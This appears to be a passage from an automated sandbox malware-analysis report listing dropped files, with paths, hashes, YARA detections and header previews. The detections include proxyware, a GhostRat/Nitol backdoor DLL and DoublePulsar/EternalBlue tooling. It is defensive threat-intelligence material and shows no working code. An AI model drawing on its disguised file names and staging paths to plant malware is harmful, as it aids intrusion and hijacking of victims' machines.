SSDEEP:	384:RzyNXd4+BW6FW9vT1Dm0GftpBjJtaQHRN73hYlO62gHcXb:szA1DViHtLxRg8L
MD5:	FDB3A743B2DAE5924CBA88A5C865128D
SHA1:	C53132EC95A7211C1BB6DCD5AD21CCB150A7B923
SHA-256:	9D4FAEA9892D4ECFABF61986687FC6CB30F5F51A6B62819B9571FF58E04C4DD5
SHA-512:	CBD8370F3CB84CB9EB8BF3A7392245D6A90CE1A324971EA96170974DA092BDFC3DB2196F66958CA5D5000F13B18AFAB44FF82D50C5B9A625AA1B7A4AF17717DE
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ...................................@..................................(..O....@...................>...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...p...#Strings............#US.........#GUID...........#Blob......................3..................................................'.....'...T.....G.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21216
Entropy (8bit):	6.913880291057063
Encrypted:	false
SSDEEP:	384:Bvs2Q3HKJNrWWRW8KvT1Dm0GftpBjb/aQHRN765EldBoQAYY9:BuMg1DViJ/L65woJYi
MD5:	18CE4ECC42FC8D999EF091D812472CF0
SHA1:	F874903CEA9F08F1A0887949B47722E6BA81B789
SHA-256:	3D9EBC81B1BD3234666C8CE403A5F17A726867C68FFA5DE4EC8EE92599335658
SHA-512:	0C027440EF6F6C105B0BF9319F4E0EA421FD310699028AF0A159300145C662E74B4B5D969663E3B52CDA7F9934A6AB93BBAE9BCD1BD39AAAC24FCBA7EC451156
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................L.....@..................................(..O....@..4................>...`......h'............................................... ............... ..H............text........ ...................... ..`.rsrc...4....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....p.......#US.t.......#GUID...........#Blob......................3................................................../...q./...E.....O.....Y.................X...........'.....p...........B.....+...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.8...K.X...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.897588144752097
Encrypted:	false
SSDEEP:	384:FFz0Q6gcqRhcsMWdMWwvT1Dm0GftpBjZ/AoaQHRN7plxBGDO:FFz1c6u1DViHBLTMO
MD5:	824053272B268C577E9ADF17ED398142
SHA1:	5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5
SHA-256:	04B9235F64C9C846F8A767230714895DA87C7AE2CD0105E9D14835AE46F0FED8
SHA-512:	F475DCD2CC23FDFB017688713170FCAF8FEA05869A680613EA4AD84CB358ED0F2442DB0FF0DCBD739E3CC3DB7128A8F4A568AE8E5AF6A8840319B02630E420B9
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ....................................@.................................L(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..D....................&......................................BSJB............v4.0.30319......l.......#~......,...#Strings.... .......#US.$.......#GUID...4.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22192
Entropy (8bit):	6.821272653310105
Encrypted:	false
SSDEEP:	384:E6xWA3W4aW/NWtvT1Dm0GftpBjHaQHRN7TqidlZ30F:EaBk1DViFLTquO
MD5:	11D674CFC81B7102C0BC6FFE58F6AC5E
SHA1:	DDDA49572D112944EC9AB62B31959AA93A386618
SHA-256:	4DC8D588EC63641C28422D648E8DE5E2C030EB7AFEC2071A99DD3BD9A204557F
SHA-512:	FB7C628B796A321AD9ECBF01D165E24F151C99D7E60A65D0AF52F779AD60A3203F47B247D44FC47044A68790D1EA4EE458A7BC8DF7EBE9D42C2275A9C11BC324
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ..............................).....@..................................+..O....@...................>...`...................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P .............................................................BSJB............v4.0.30319......l... ...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................-.........O.k.....k.....X.....................1...........o.........................B...........9...........J.....J.....J...).J...1.J...9.J...A.J...I.J...Q.J...Y.J...a.J...i.J...q.J.......................#.....+.....3.....;.....C.-...K.M...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	78992
Entropy (8bit):	6.056589052139225
Encrypted:	false
SSDEEP:	1536:6784YWau8lqubx6WxXLA+o2SLFyEdux136ytgHo0AuresehSAPVGHMc:67NV8v36tI0XCKAt6
MD5:	8C9424E37A28DB7D70E7D52F0DF33CF8
SHA1:	81CD1ACB53D493C54C8D56F379D790A901A355AC
SHA-256:	E4774AEAD2793F440E0CED6C097048423D118E0B6ED238C6FE5B456ACB07817F
SHA-512:	CB6364C136F9D07191CF89EA2D3B89E08DB0CD5911BF835C32AE81E4D51E0789DDC92D47E80B7FF7E24985890ED29A00B0A391834B43CF11DB303CD980D834F4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>.Z.........." ..0.................. ... ....... .......................`............@.....................................O.... ..P................>...@......x................................................ ............... ..H............text........ ...................... ..`.rsrc...P.... ......................@..@.reloc.......@......................@..B........................H......................................................................6..o.........f..o...........o............o...........o...........o............o...........o ..........o!...........o"...........o#..........o$..........o%...........o&...........o'............0..L.........o(..........o)..........o...........o+...........o,...........o-.........0..Y.........o...........o/..........o0...........o1...........o2...........o3...........o4.... .......0..k.........o5....

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21712
Entropy (8bit):	6.911176710124494
Encrypted:	false
SSDEEP:	384:mr97WquWk+109m0GftpBjNWVaQHRN7u90lgaGn7a:mRJcVifWVLbGW
MD5:	090FF56C4FE2EEFF2E16F03099AD71E1
SHA1:	EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5
SHA-256:	5F560E1DD529BB2529D7052E04008449F58D0439C2BB43437D7B5D39F84F949F
SHA-512:	FDAC43D0A18D9158DB4438349A7A550557A36E6ED0665EFCB65A046A5BEB5C38181996CBF6D860B8AD01C19E35315BB61AE766CAF06B23985E046484DAB45256
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............+... ...@....... ..............................W.....@.................................\+..O....@...................>...`......$*............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P ..T....................)......................................BSJB............v4.0.30319......l.......#~..T.......#Strings....0.......#US.4.......#GUID...D.......#Blob......................3......................................z...........j.....j.....W...............B.....z.............................................................Q.....Q.....Q...).Q...1.Q...9.Q...A.Q...I.Q...Q.Q...Y.Q...a.Q...i.Q...q.Q.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.875690583921479
Encrypted:	false
SSDEEP:	384:O16eWLDWevT1Dm0GftpBjAAYaQHRN7N9lZ3w:q6L91DViqTLXA
MD5:	37E21B63959F243A157534133F85C5AF
SHA1:	DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00
SHA-256:	4F6A14E4BA2A2B26B8B8433D5F82F75A96AF5A4F036D9447373B07271493917B
SHA-512:	F59FAA6319FE2AFEBCCBD643E20C1EDB75DB74E9271354BD86DAC3BEA2CC59452EE024DC26B517AE88254A7C90DBE0E6C19A7B5AB3BFE9159D986D6C53CA5521
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0................. ...@....... ..............................#F....@.................................\|..O....@...................>...`......D)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P ..t....................(......................................BSJB............v4.0.30319......l.......#~......8...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................z.....z...u.g.................................>.....W.................r.....[...................a.....a.....a...).a...1.a...9.a...A.a...I.a...Q.a...Y.a...a.a...i.a...q.a.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22904
Entropy (8bit):	6.8552351968066105
Encrypted:	false
SSDEEP:	384:58G4YC2W+wW8WpwWOFm0GftpBjBdDcaQHRN78lgCovnt/:2GZ5QVipgLzH/h
MD5:	A5F541655A9EDC24F4B5184A40E40227
SHA1:	90E196DCD76168F770ABE30098399BC5866ADF1B
SHA-256:	B33D08149A756A401628D11BFDDFEEACA1F03C0578395BB061DAE44F8A12CE5D
SHA-512:	C4D13E95114E232300B36ED7B7A72CE786F66D0F68B0ED9D54FEF788A831B39C893DAA3C2DE982B376A56A539C23E8F314CE8552ED7094E6826D5F70BFBE2D4B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............+... ...@....... ...............................+....@.................................z+..O....@..x...............x?...`...................................................... ............... ..H............text........ ...................... ..`.rsrc...x....@......................@..@.reloc.......`......................@..B.................+......H.......t ......................P........................................s....:.(......}....2.{....(....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...........#Blob...........WW.........3..............................................................L.........4.H...}.H...u.v...........;...........;...=.;.................../.%...........P.....m.....................................v...S.......v...d.v...........v...m...............

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21176
Entropy (8bit):	6.950543834803339
Encrypted:	false
SSDEEP:	384:z6ziqTEkGWvRWtvT1Dm0GftpBjqK4aQHRN7FMlBLY6fMf:zYT1E1DViaLFgYnf
MD5:	415E3AB72F17F10D646B3E2C7A76F612
SHA1:	ED25E94D4E88293345A0F28A5B975159C393B050
SHA-256:	24DAA1FAEE0478BA58FEBE8EE789EB88BE0A14D350B57AD8B10690C55976B2E1
SHA-512:	55B5C22B87F21DF89D0514AE05C9433B65A3C7532845FDFC4C2C5C5E2C3929D70143D84698FDB4DC13EC01895B1022CF0E5E76E12102739530B54150932A7B07
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................x.....@..................................)..O....@...................>...`......d(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3................................................'...........~...................................G.....`.................{.....d...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.-...K.M...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21712
Entropy (8bit):	6.8884260737638385
Encrypted:	false
SSDEEP:	384:jUv7c7iWNCWxvT1Dm0GftpBjvaQHRN7KlBLY6fmV:jM7c1R1DVi5LeYpV
MD5:	328D12AF9613B0F3F25320B85DCCCBF4
SHA1:	09D02B85A094E925AC3C5D8B1ACA096B730C160F
SHA-256:	8957F0BCEA6AB8A011A53AE62466505199F11A228F87F3809931D974F87078CE
SHA-512:	16569ECB727ADA36811E72FFC925F07AA21B8A627BE45F1EDA18CF2B759939591DCAFCB2D087596EE903C5ABFFAF19F56F25E9710EF22874C934CAD19537B798
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0................. ...@....... ..............................\.....@....................................O....@...................>...`......`)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P .......................(......................................BSJB............v4.0.30319......l.......#~......l...#Strings....l.......#US.p.......#GUID...........#Blob......................3................................................4...........~.............H.....H.....H.....H...T.H...m.H.....H.....H.........d.H.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21712
Entropy (8bit):	6.916807633540711
Encrypted:	false
SSDEEP:	192:3+vxmNWnRW52bivT1CCjdks/nGfe4pBjSrl1WAaAXcrMHnhWgN7aMW2Mqnaj87Xf:GSWnRWDvT1Dm0GftpBjy7aQHRN7IlZ3U
MD5:	D9F02D9F7DA653F82E75112A2AB99CE6
SHA1:	BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC
SHA-256:	21493F7F615A099E795F7FAE7ECCE6082414D1D427790BDF4B103623A3AB34EB
SHA-512:	DE5546FF103CCC6AA38E254039A372697A193F9C44D0A44F0BE3B242D9EEF63023DC3FD0C6E8E0D2363177F9230A4E7200D4C32591B398269A1CEE9BC47A99FC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0..............+... ...@....... ....................................@.................................L+..O....@..$................>...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................+......H.......P ..D....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings.... .......#US.$.......#GUID...4.......#Blob......................3..................................................k.....k...U.@.........i.....=.........................................&.....'...................:.....:.....:...).:...1.:...9.:...A.:...I.:...Q.:...Y.:...a.:...i.:...q.:.......................#.....+.....3.....;.....C.5...K.U...S.

C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	696960
Entropy (8bit):	5.673558036842808
Encrypted:	false
SSDEEP:	6144:GmnPRoMbbJCdHI83Gu4zXROLoMURIsMbbJCdZC0B2i5sMbbJCdJcS:hqMbbJyHIsOzXVIsMbbJyn/sMbbJy9
MD5:	2884FDEAA62F29861CE2645DDE0040F6
SHA1:	01A775A431F6E4DA49F5C5DA2DAB74CC4D770021
SHA-256:	2923EACD0C99A2D385F7C989882B7CCA83BFF133ECF176FDB411F8D17E7EF265
SHA-512:	470CE2CF25D7EE66F4CEB197E218872EA1B865DE7029FADB0D41F3324A213B94C668968F20E228E87A879C1F0C13C9827F3B8881820D02E780D567D791AD159F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b................................. ........@.. ....................................`.....................................W....................p...2........................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc...............n..............@..B........................H.......L...tu......m.......8...........................................z.(......}.....(....o....}.........0...........{......E............8...Z...u..................}..... (`.3}......}.......}..... ....}......}.......}......{.... .da}......}.......}..... ..R.}......}.......}......{.... ..b.a}......}.......}..... Q+.n}......}.......}..... 6..t}......}.......}........{.....s....z.2.{.....\...*....0..<........{......3..{....(....o....3...}......+..s.......{....}..

C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe.config

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19108
Entropy (8bit):	4.992747789246833
Encrypted:	false
SSDEEP:	96:hrg4pmrbyUwfGReGWeGFuGgeKCUDuTeHOTu0U5e3eTOaUmS0SXStuKhubUfSJeZY:hrmiOPUDCTHffIz
MD5:	E3F86E44D1997122912DD19C93B4CC51
SHA1:	55A2ABF767061A27D48FC5EDA94BA8156ADD3E81
SHA-256:	8905F68562E02CA9C686F8BB6EDDE6643C94B2592240C6ED0D40CA380E69E62D
SHA-512:	314F97D7889D22D1086682C2ABFCF0BCB753C2103A29127407392FA05DABB69F1528C7B8028AEAC48E5FD7DAF0FB1E4A367E6D83F7CA73BCEA8E7C6E1D1B54D5
Malicious:	true
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />.. </startup>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Bcl.AsyncInterfaces" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-5.0.0.0" newVersion="5.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-5.0.0.0" newVersion="5.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="System.Thread

C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	98616
Entropy (8bit):	5.627990537858435
Encrypted:	false
SSDEEP:	1536:Q2Ec05j4eAH64rh5fSt5T9nFcI94WiVQTjpu:nlK4eA7mDmWqQXpu
MD5:	0ADF6F32F4D14F9B0BE9AA94F7EFB279
SHA1:	68E1AF02CDDD57B5581708984C2B4A35074982A3
SHA-256:	8BE4A2270F8B2BEA40F33F79869FDCCA34E07BB764E63B81DED49D90D2B720DD
SHA-512:	F81AC2895048333AC50E550D2B03E90003865F18058CE4A1DFBA9455A5BDA2485A2D31B0FDC77F6CBDFB1BB2E32D9F8AB81B3201D96D56E060E4A440719502D6
Malicious:	false
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M..Z.........." ..0..8...........U... ...`....... ..............................v.....@..................................U..O....`..,............B..8?........................................................... ............... ..H............text....6... ...8.................. ..`.rsrc...,....`.......:..............@..@.reloc...............@..............@..B.................U......H.......P ...4..................,U......................................BSJB............v4.0.30319......l...\|...#~.....d...#Strings....L3......#US.T3......#GUID...d3..x...#Blob......................3................................q.....2B........e$.M...,.M.....M...4.M...1.M...1.M..v..M....M....M....p...........................!.....).....1.....9.....A.....I.................................#.......+.......3.......;.J.....C.f.....K.f...................2.....................

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	5.371885109275715
Encrypted:	false
SSDEEP:	24:3DWSKco4KmBs4RPT6BmFoUebIlmjKcmZ9t7J0gt/NK3R8qr6YW:TWSU4y4RQmFoUeUmfmZ9tK8NWR8qG
MD5:	DC520C7F80D63DDF7DE74B26A10B40AD
SHA1:	05CF561B5AF8FC85D451B1C8E6B184D1FFD2E5C4
SHA-256:	FC727622F65F8248E54C48E8E583B85CA0DCE8F8C2D9DA02818238908F1D8166
SHA-512:	E10A45D6013E6DAC8FAB36E4B37BB4D580456FA1080A5B23B1361B75DDB43F4EECDE4A6FC1FAA880BC8A1116598C802B5C43AA75D4A760B0615A9794EEC3A28D
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll

Download File

Process:	C:\Windows\Temp\Hooks.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24850432
Entropy (8bit):	6.927951679752241
Encrypted:	false
SSDEEP:	393216:9QTzuoRbBfQYT042YKdmbBR0TH/IxcNT3cJkRfxBk:9y3t7T042YKYGPTMJwI
MD5:	EFFDA8DC24B5465DD1424177160A5F1A
SHA1:	9C3267D98EC841D4DEBDA61D7C6AA158E6750996
SHA-256:	2BFBF9D0ED537106096A2DBFDB4BC1BBC1818C8D5BEFBAD46FE872DFB2E5EE0B
SHA-512:	98E4155193E06BAAEC900D423EEE3069809DBE5D26D401CE4508B79E4874B9014C3D6A8F36416074A369E17B089CD081820C01DC6CDD6743ECE01E2AC182AC79
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: Joe Security Rule: MALWARE_Win_Nitol, Description: Detects Nitol backdoor, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: ditekSHen Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w<P..R...R...R...^...R.).....R.i.\...R..0X.\|.R...X...R...S...R.).....R..0Y.y.R...R...R...Y...R...V...R.Rich..R.........................PE..L......f...........!..........y...............................................\|......................................8..^.......@.............................{..'......................................................l............................text............................... ..`.rdata..^X.......`..................@..@.data....:x..@....v..@..............@....reloc...;....{..@....y.............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Roaming\traffmonetizer\pid

Download File

Process:	C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:TN:h
MD5:	56909640F93A509BDA9494A0178E091E
SHA1:	0830EDFB49889767FEDB470EF4339271DC8B4679
SHA-256:	5F1AAF76C1AB72B1232574F616EF68F6249B5C78FF598EDBAF0B2F3195D2067C
SHA-512:	C5B7F25C0FD6B2FB8ABF572B63214C6576DFD7077CA6AFCFDB5B20D762848F568F4C7052C3D3E2C7A9A037D0737D008D149F35CD7C5AB38566EC28D3C22570E8
Malicious:	false
Reputation:	unknown
Preview:	31264

C:\Windows\System32\config\systemprofile\AppData\Roaming\traffmonetizer\settings.json

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	98
Entropy (8bit):	5.310725661035405
Encrypted:	false
SSDEEP:	3:YxKTHszY9Q3gtwDUfmuJUrhKlROdD+Gwqg5Xy:YQMYAgtzfmGUMsCGFf
MD5:	2E839B7AB87694F72220658502588C41
SHA1:	B3996F638B1E00B4BDF5CADEAB99D05492313F37
SHA-256:	376A0CA610D4DE58DE3887A8700D3E0F64FDC2123846A4F88876751847AEF519
SHA-512:	050FE964FBDFD1A957EF3E8A1C1CE6ADA6D5473BE890EA318A9720A7C8E42E9FB8AFCC723A03ED9DEEB3F2CCBFF0FE725EB0B831A24E9E4DF39B7249DA5688A1
Malicious:	false
Reputation:	unknown
Preview:	{"Token":"1gUgURMzQiuGFgttIdjeZBS0G6fqFlVvhCKlqzfHd3o=","StartWithWindows":false,"Accepting":true}

C:\Windows\System32\config\systemprofile\AppData\Roaming\traffmonetizer\storage.json

Download File

Process:	C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45
Entropy (8bit):	3.847982686306629
Encrypted:	false
SSDEEP:	3:YMzEVP7TGQWRdTHen:YMze7T4dTHen
MD5:	4D928F509DC8A5865FE7BDFDB48EE86C
SHA1:	3E8AB6A23A3AD87E52928FB905259F51C3C082CE
SHA-256:	24E848B24C8B30A8E16C3765B457D98344E98C10C77B2406572CDC24B3A97C70
SHA-512:	9BA7F4B83D74CA19121D8BC8A2CF745F70E7F9A0271F9F4E3B402592942776A16B2A5A7E20E4E04C7948936A2D442FC230DE545417D8A25FF7DFEDC91D847E5A
Malicious:	false
Reputation:	unknown
Preview:	{"id":"ae0b0a03-8b0c-486c-8a69-db48e8da4bbd"}

C:\Windows\Temp\Doublepulsar-1.3.1.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45568
Entropy (8bit):	6.310406461134233
Encrypted:	false
SSDEEP:	768:Zfsz7cLr4VwePeXUTQq+BNV1WzV64aHo2Ej4rrIrL/SBfjyC:ZyJwFmB+jVTEkrmL/eT
MD5:	C24315B0585B852110977DACAFE6C8C1
SHA1:	BE855CD1BFC1E1446A3390C693F29E2A3007C04E
SHA-256:	15FFBB8D382CD2FF7B0BD4C87A7C0BFFD1541C2FE86865AF445123BC0B770D13
SHA-512:	81032D741767E868EC9D01E827B1C974B7C040FF832907D0A2C4BDC08301189B1DE3338225587EDDF81A829103392F454BA9D9685330B5F6706EA2977A6418E2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DoublePulsar, Description: Yara detected DoublePulsar, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: Joe Security Rule: EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..l..l..l;#.l..l.!.l..l.!.l..l.!.l..l.!.l..l...l..l..l..l..l..l.!.l..l...l..l...l..lRich..l................PE..L......P.................4...z.......>.......P....@.................................*r....@..................................d.......................................................................c..@............P...............................text....3.......4.................. ..`.rdata..B....P... ...8..............@..@.data...TQ...p...N...X..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

